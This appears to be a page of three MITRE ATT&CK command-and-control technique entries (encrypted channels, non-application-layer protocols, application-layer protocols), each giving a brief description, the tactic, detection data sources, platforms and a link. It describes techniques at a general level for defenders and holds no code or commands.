Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre